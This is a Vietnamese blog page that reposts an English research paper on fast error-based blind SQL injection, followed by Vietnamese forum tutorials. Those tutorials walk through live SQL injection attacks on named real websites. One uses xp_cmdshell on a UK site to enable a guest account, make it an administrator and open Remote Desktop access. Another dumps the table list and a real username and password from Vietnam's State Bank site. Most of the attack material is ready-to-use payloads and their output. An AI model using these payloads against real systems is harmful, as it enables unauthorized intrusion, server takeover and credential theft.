Hiển thị các bài đăng có nhãn SQL injection. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn SQL injection. Hiển thị tất cả bài đăng

Thứ Hai, 7 tháng 3, 2011

Methods of Quick Exploitation of Blind SQL Injection

File: Methods of Quick Exploitation of Blind SQL Injection
Author: Dmitry Evteev
Hits: 1440
date: 2010-01-27

# Title: Methods of quick exploitation of blind SQL Injection
# Date: January 25th, 2010
# Author: Dmitry Evteev (Positive Technologies Research Lab)
# Contacts: http://devteev.blogspot.com/ (Russian); http://www.ptsecurity.com/


In this paper, the quickest methods of Blind SQL Injection (error-based) exploitation are
 collected and considered by examples of several widespread databases.

    
---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the
 database, but sometimes we cannot exploit the discovered vulnerability using classic methods
 (e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such
 cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?!
 It can be adapted for line-by-line reading of data from a database or a file system, and this
 technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take
 advantage of such opportunity! In this paper, we will consider the methods that allow one to use
 the database error messages as containers for useful data.

---=[ 0x02 ] Error-Based Blind SQL Injection in MySQL

At the turn of the last year, Qwazar has got a universal technique of exploitation of Blind SQL
 Injection vulnerabilities in applications operating under MySQL database from the depths of antichat
  (I wonder what else can be found in these depths). It should be mentioned that the proposed
 technique is rather complicated and opaque. Here is an example of applying this universal approach
 to MySQL>=5.0:

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

If the table name is unknown, which is possible for MySQL < 5.0, then one has to use more complex
 queries based on the function rand(). It means that we will often fail to obtain the necessary data
 with one http query.

mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1

Here is an example of practical use of the method for database structure restoration:

http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
...

The technique proposed by Qwazar is applicable to all MySQL versions including 3.x, which still can
 be found in the Global Network. However, taking into consideration the fact that sub-queries were
 implemented in MySQL v. 4.1, application of the described method to earlier versions becomes much
 more difficult.

---=[ 0x03 ] Universal Exploitation Techniques for Other Databases

Recently, the hacker under the pseudonym TinKode has successfully conducted several attacks using
 Blind SQL Injection vulnerabilities in a web server in the domain army.mil. In the course of
 attacking web applications operating under MSSQL 2000/2005 control, the hacker has demonstrated
 a rather interesting method to obtain data from a database. The technique used by TinKode in based
 on the fact that MsSQL generates an error in case of incorrect data type conversion, which in turn
 allows one to transfer useful data in the returned error message:

select convert(int,@@version);

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) 
 Jul  9 2008 14:43:34 
 Copyright (c) 1988-2008 Microsoft Corporation
 Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.

Consequently, if Blind SQL Injection is exploited using the described method, then it becomes
 possible to obtain the necessary data from Microsoft SQL Server rather quickly. For example, one can
 restore the database structure:

http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
...

If we notice that Sybase ASE, just like MS SQL Server, is based on Transact-SQL, it is plausible to
 assume that the described technique is applicable to this DBMS. Testing has strongly confirmed
 this assumption. All examples given for MsSQL hold true for the Sybase database, too.

Similar manipulations with type conversion were conducted for MySQL. The conducted experiments showed
 that in case of incorrect type conversion, MySQL returns non-critical error messages that do not
 allow one to attain the same aims for Blind SQL Injection exploitation. Meanwhile, experiments with
 PostgreSQL were successful:

web=# select cast(version() as numeric);
ERROR:  invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719  [FreeBSD]"

To obtain useful data by exploiting an SQL Injection vulnerability in an application operating under
 PostgreSQL control, one can use the following queries:

http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
...

---=[ 0x04 ] In the Depths of Oracle

I had gathered an interesting collection of quick methods of Blind SQL Injection exploitation, but
 I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a
 small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the
 Oracle environment. Then, my attention was attracted by the functions of interaction with the XML
 format. After a short investigation, I found a function XMLType() that returns the first symbol of
 requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Anyway, that's something. Now we can use the function substr() to read the desired information
 symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:

select XMLType((select substr(version,1,1) from v$instance)) from users; 
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be 
light-heartedly to stop at that. We will go further.

After investigating the function XMLType()in detail, I managed to find an analogous method to place
 data into the error message, which can be also applied to other databases:

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t
 implement automated type conversion. Therefore, the following query will cause an error:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data
 line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType()
 truncates the returned data after certain symbols, e.g. space character and the "at" sign (“@”).

However, there is no problem we could not solve;) To dispose of the problem of type conversion, one
 can apply the function upper(). Line-by-line data reading can be implemented using the following
 simple construction:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can
 be excluded from the sent query using numeric representation of symbols (ascii), which will later
 allow one to bypass filtering at the stage of processing the data that comes into the application.
 Thus, the resulting query becomes:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per
 one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--

To decode the data obtained from an application using the described method of SQL Injection
 exploitation, one can use, for example, the following standard Oracle function:

SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual;
UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>

---=[ 0x05 ] Resume

Thus, we obtained universal and quick techniques of error-based Blind SQL Injection exploitation for
 the following DBMSs: PostgreSQL, MSSQL, Sybase, MySQL version >=4.1, and Oracle version >=9.0. To
 identify the database version using one http request, the following constructions can be applied:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
OR
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

---=[ 0x06 ] Curtain

Sometimes, it seems that everything has been already invented and there is no sense is searching for
 something new. As you could see from the history of the development of Blind SQL Injection exploitation,
 it is not the case. There is always enough space for new investigations. Wish you good cracking!:)

---=[ 0x07 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind.html
http://qwazar.ru/?p=7 (Russian)
http://tinkode.baywords.com/index.php/2010/01/the-center-for-aerosol-research-nasa-website-security-issues/

---=[ 0x08 ] About Research Lab

Positive Technologies Research Lab and SecurityLab are willing to cooperate with independent researches
 in the analysis of the discovered vulnerabilities, in contacts with software vendors and CVE Number
 Reservation process. The vulnerabilities will be published in sections "Laboratory" and PT-advisory.
 The name of the researches will be preserved. 

Our disclosure policy: en.securitylab.ru/lab/disclosure-policy.php


Download PDF: http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
mẫu code mà kid hay dùng nhất và thấy hiệu quả nhất là :

/*!And (Select 1 From(Select Count(*),Concat(CHAR (124,124,124),(Select substr(Group_Concat(table_name),1,100 ) From Information_Schema.Tables),floor(rAnd(0)*2),CHAR (124,124,124))x From Information_Schema.Tables Group By x)a)*/-- -

[tut] hĩu thêm về UNION ! 04-18-2008, 02:22 PM




Code:
http://www.peric.ac.cn/product.php?product_id=2'
ở topic trước các bạn có bàn luận về site này nên hôm nay làm cái tut để anh em hĩu rõ thêm
+thứ 1:
SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm  (có sai thì mấy pro góp ý)
VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra +thứ 5:
cấu trúc UNION:
Code:
SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example
VD trên nghĩa là type các column trong 2 mệnh đề SELECT phải giống nhau

Áp dụng: 
trở lại site victim trên
Code:
mssql_query
=> nghĩa là nó sử dụng sql server or mysql
attack = UNION nha
đầu tiên đếm column đc 4 column
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables--
type khác nhau
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables--
null ko có type nên bypass tốt
Code:
Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262
DISTINCT là gì thì các bạn tự tìm hĩu  (đơn giản là lọc kết quả trùng nhau)
để khắc phục thì xài union all select
kế típ dò type từng column
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,null,null,null%20from%20information_schema.tables--
vẫn bt =>column type int(thường là ID mà )
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,null,null%20from%20information_schema.tables--
ra số 2 đẹp đẹp
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,3,null%20from%20information_schema.tables--
báo lỗi nên change thành '3','a',.. gì đó miễn là type char
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,'3',null%20from%20information_schema.tables--
Code:
Warning: mssql_query(): message: Line 1: Incorrect syntax near '\'. (severity 15) in /home/www/peric/product.php on line 262
=> hình như bị magic quote(là gì thì tìm hĩu )
=>chuyển thành
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,null%20from%20information_schema.tables--
tương tự
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,4%20from%20information_schema.tables--
tiếp theo chắc các bạn bít roài
---hết---
hoangduye at HCEgroup

Remote desktop via user "sa"-sql injection ! 05-20-2007, 04:47 PM

Thấy nhiều người hỏi cái này, mạn phép làm cái live show luôn ha
Link bug:

Code:
http://www.funds4me.co.uk/stores.asp?catID=43'
+Check user:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43'%20and%201=convert(int,system_user)--sp_password
Dính SA goài:68:
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'sa' to a column of data type int.
+Check ip srv:
Đầu tiên đổ kết quả của lệnh ipconfig vào table keke:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';drop%20table%20keke%20create%20table%20keke%20(id%20int%20identity,nd%20varchar(1000))%20insert%20into%20keke(nd)%20exec%20master..xp_cmdshell%20'ipconfig'--sp_password
Sau đó convert ra xem kq thoai:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43'%20and%201=convert(int,(select%20top%201%20nd%20from%20keke%20where%20nd%20like%20('%25Ip%20address%25')))--sp_password
Ra ip thật nè:
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 212.69.230.65 ' to a column of data type int.
+Add user và nâng quyền rồi tìm cách remote desktop vào:
Ở đây tôi chọn giải pháp active acc guest và nâng guest lên admin cho đỡ bị lộ

Active guest acc:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net user guest /active:yes';--sp_password
Set lại pass cho guest
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net user guest xxxxxx';--sp_password
Add guest vào admin group:
Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net localgroup administrators guest /add';--sp_password
Chắc nữa là add guest vào Remote Desktop group:

Code:
http://www.funds4me.co.uk/stores.asp?catID=43';exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" guest /add';--sp_password
Dùng Remote Desktop vào srv 212.69.230.65 với acc guest/xxxxxx thôi
(pass đã change, ai thik thì tự tạo lại)

P/S:cái này mà tạo Virtual Private Srv fake ip rất good, hoặc để crack md5 pass hash
Thân!

Ngân hàng nhà nước Việt Nam bị hack như thế nào ?? 07-19-2006, 05:33 PM

Hacked by langtuhaohoa ( thx my friend WinDak )

hề hề ! Tại nghe đâu phong phanh là " Ngân Hàng Nhà Nước Việt Nam ( www.sbv.gov.vn )" bị dính Sql inject ... thấy chữ ngân hàng cũng tính mò dô xem xem thế nào  lượng đi lượn lại vài dòng thấy chã có url nào khai thác được cả ... ! híc ! Thấy nãn nãn... !

Đang xem thì thấy mấy cái input dạng select .... nhìn nhìn hồi nghĩ thôi thữ đại xem sao  biết đâu được
Chọn đại cái : http://www.sbv.gov.vn/home/hethongTCTDHT.asp

thấy cái select Tỉnh/Thành Phố ... thữ xem sao ! View source thấy 1 form như thế này :

Code:
<form name="Tim" method="post" action="hethongTCTDHT.asp" autocomplete="on"> 

<p align="right">Tỉnh / Thành phố:
 
        <select size="1" name="lstTinh" style="font-family: Times New Roman; background-color:#FFFFFF; font-size:12pt" onchange="document.Tim.submit()">
        <option value="ALL">Tất cả các tỉnh thành</option>
        
        <option value="DANANG">Đà Nẵng</option>
         
        <option value="DACLAC">Đắc Lắc</option>
         
        <option value="DACNONG">Đắc Nông</option>
         
        <option value="DONGNAI">Đồng Nai</option>

         
        <option value="DONGTHAP">Đồng Tháp</option>
         
        <option value="ANGIANG">An Giang</option>
         
        <option value="BARIAVUNGTAU">Bà Rịa-Vũng Tàu</option>
         
        <option value="BINHDINH">Bình Định</option>
         
        <option value="BINHDUONG">Bình Dương</option>
         
        <option value="BINHPHUOC">Bình Phước</option>

         
        <option value="BINHTHUAN">Bình Thuận</option>
         
        <option value="BACLIEU">Bạc Liêu</option>
         
        <option value="BACCAN">Bắc Cạn</option>
         
        <option value="BACGIANG">Bắc Giang</option>
         
        <option value="BACNINH">Bắc Ninh</option>
         
        <option value="BENTRE">Bến Tre</option>

         
        <option value="CAMAU">Cà Mau</option>
         
        <option value="CAOBANG">Cao Bằng</option>
         
        <option value="GIALAI">Gia Lai</option>
         
        <option value="HAGIANG">Hà Giang</option>
         
        <option value="HANOI">Hà Nội</option>
         
        <option value="HANAM">Hà Nam</option>

         
        <option value="HATAY">Hà Tây</option>
         
        <option value="HATINH">Hà Tĩnh</option>
         
        <option value="HAIDUONG">Hải Dương</option>
         
        <option value="HAIPHONG">Hải Phòng</option>
         
        <option value="HAUGIANG">Hậu Giang</option>
         
        <option value="HUNGYEN">Hưng Yên</option>

         
        <option value="HOABINH">Hoà Bình</option>
         
        <option value="KHANHHOA">Khánh Hoà</option>
         
        <option value="KIENGIANG">Kiên Giang</option>
         
        <option value="KONTUM">Kon Tum</option>
         
        <option value="LAOCAI">Lào Cai</option>
         
        <option value="LAMDONG">Lâm Đồng</option>

         
        <option value="LANGSON">Lạng Sơn</option>
         
        <option value="LAICHAU">Lai Châu</option>
         
        <option value="LONGAN">Long An</option>
         
        <option value="NAMDINH">Nam Định</option>
         
        <option value="NGHEAN">Nghệ An</option>
         
        <option value="NINHBINH">Ninh Bình</option>

         
        <option value="NINHTHUAN">Ninh Thuận</option>
         
        <option value="PHUTHO">Phú Thọ</option>
         
        <option value="PHUYEN">Phú Yên</option>
         
        <option value="QUANGBINH">Quảng Bình</option>
         
        <option value="QUANGNAM">Quảng Nam</option>
         
        <option value="QUANGNGAI">Quảng Ngãi</option>

         
        <option value="QUANGNINH">Quảng Ninh</option>
         
        <option value="QUANGTRI">Quảng Trị</option>
         
        <option value="SOCTRANG">Sóc Trăng</option>
         
        <option value="SONLA">Sơn La</option>
         
        <option value="TAYNINH">Tây Ninh</option>
         
        <option value="THAIBINH">Thái Bình</option>

         
        <option value="THAINGUYEN">Thái Nguyên</option>
         
        <option value="THUATHIENHUE">Thừa Thiên Huế</option>
         
        <option value="THANHHOA">Thanh Hoá</option>
         
        <option value="TIENGIANG">Tiền Giang</option>
         
        <option value="TPHCM">TP Hồ Chí Minh</option>
         
        <option value="TPHUE">TP Huế</option>

         
        <option value="TRAVINH">Trà Vinh</option>
         
         <option selected value="TW">Trung Ương</option>
         
        <option value="TUYENQUANG">Tuyên Quang</option>
         
        <option value="VINHLONG">Vĩnh Long</option>
         
        <option value="VINHPHUC">Vĩnh Phúc</option>
         
        <option value="YENBAI">Yên Bái</option>

          </select></p>
         </form>
oài ! thấy có cả daklak trong đó  ( quê nhà mà hê hê ) thôi thì thữ coppy về và edit 1 xí xem sao :

Code:
<form name="Tim" method="post" action="http://www.sbv.gov.vn/home/hethongTCTDHT.asp" autocomplete="on"> 
 
        <input type="text" size="100" name="lstTinh">
         <input name="submit" type="submit" value="submit">
         </form>
langtu save lại thành file test.html và mở ra type dô cái input vài dòng thữ xem sao :
Code:
' or 1=(@@version)--
và submit ... óe nó hiện ra cái gì đây :eek: :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
hề hề ! Sql inject cực nặng rồi nhé ... ! back lại test.html lt type vào :

Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+table_name+'/' from information_schema.tables select @temp as id into langtu end--
Đoạn query trên có nghĩa là gì ?? declare @temp varchar(8000) là khai báo cho @temp rỗng và varchar(8000) ( cái này giống như kiểu khai báo biến trong các ngôn ngữ lập trình khác í mà ) tiếp theo là : set @temp='' select @temp=@temp+table_name+'/' from information_schema.tables cái này là đặt điều kiện cho @temp seclect ra table và tiếp tục cộng thêm 1 table tiếp theo ngăn cách bằng " / " ! select @temp as id into langtu end-- chọn @temp ờ cột id và trong table langtu ! Chắc phần nào hiểu rồi chứ  hí hí !

Ok ! sau khi submit query trên ta sẽ được trả về http://www.sbv.gov.vn/home/hethongTCTDHT.asp và ko bị báo lỗi gì cả thì ta đã thành công !

Tiếp theo langtu sẽ select ra tất cả các table trong user data "dthai" mà sbv đang sữ dụng :
Code:
' or 1=(select id from langtu)--

Tự nhiên đang viết tut có hứng tới đây nó ra mẹ user + pass  khó hiểu quá ! Quyết tìm hiểu xem vì sao lại thế chứ...


Trích:
' or 1=(select id from langtu)--
ặc ặc ! Bây giờ thì mới đúng nè ... híc !
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/cdeCSTT_LS/cdeCSTT_tbao_TPCP/cdeCSTT_tbao_TPKB/cdeKTTT/cdeQLNH_dienbienTG/CdeTCCB/cdeTTKS/DetaiNCKH/dtproperties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaobaochi/TinhThanh/Tintuc/tuyentruyen/Tygiabinhquan/Tygi...

/home/hethongTCTDHT.asp, line 172
Tuy đã biết user + pass nhưng mình vẫn sẽ viết tiếp cho đúng cách làm việc của nó !
Bây giờ bạn hãy thữ nhìn lên cái error list ra các table coi ??? nó hiện ra ko đầy đủ đúng ko ?? cái :" Tygiabinhquan/Tygi... " có nghĩa là table nó dài quá ko list hết ra được !
hùhm,... giờ sao cho nó list hết ra nhĩ ??? OK langtu dùng substring

Trích:
' or 1=(select top 1 substring(id,1,100) from langtu)--
được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/cd' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
nó sẽ list ra 100 kí tự đầu tiên từ 1---> 100 :cool: Nhưng ta vấn chưa thấy table chứa user đâu cả  tiếp tục :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Trích:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'eCSTT_LS/cdeCSTT_tbao_TPCP/cdeCSTT_tbao_TPKB/cdeKTTT/cdeQLNH_dienbienTG/CdeTCCB/cdeTTKS/DetaiNCKH/dtproperties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaob' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
óe ! vấn chưa thấy tiếp tục :
Trích:
' or 1=(select top 1 substring(id,201,300) from langtu)--
Được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'properties/hoidap/nghiencuutraodoi/Ngoaite/QuyTDND/sukiennoibat/sysconstraints/syssegments/thongcaobaochi/TinhThanh/Tintuc/tuyentruyen/Tygiabinhquan/Tygiacheo/TygiaVCB/Vanban/webgrand/webgroup/webuser/CacTCTD/cdeCNTH/cdeCSTT_BCthuongnien/cdeCSTT_DTBB/cdeCSTT_HDNT/cdeCSTT_kqua_TPCP/cdeCSTT_kqua_TTM/c' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
hè hè ! ta thấy table webuser rồi !

Bây giờ thì ta drop table langtu đi thôi : '; drop table langtu--

OK thành công ! Để lấy tất cả column trong table webuser ta lại tiếp tục insert 1 column @temp vào table webuser giống hồi nãy dậy ta ! type :

Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+column_name+'/' from information_schema.columns where table_name='webuser' select @temp as id into langtu end--
ko báo lỗi , tiếp tục : ' or 1=(select 1 from langtu)--

được :
Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'uid/username/password/description/gid/grand/QL/uid/username/password/description/gid/grand/QL/' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
drop table langtu đi và tiếp tục :
Trích:
'; begin declare @temp varchar(8000) set @temp='' select @temp=@temp+username+':'+password+'/' from webuser select @temp as id into langtu end--
ko báo lỗi , giờ ta tiếp tục lấy user + pass : ' or 1=(select id from langtu)--

được :

Trích:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'levietcuong :lvc123 /' to a column of data type int.

/home/hethongTCTDHT.asp, line 172
Bye bye good luck to hack !
Author : langtuhaohoa ( HCEGroup.net )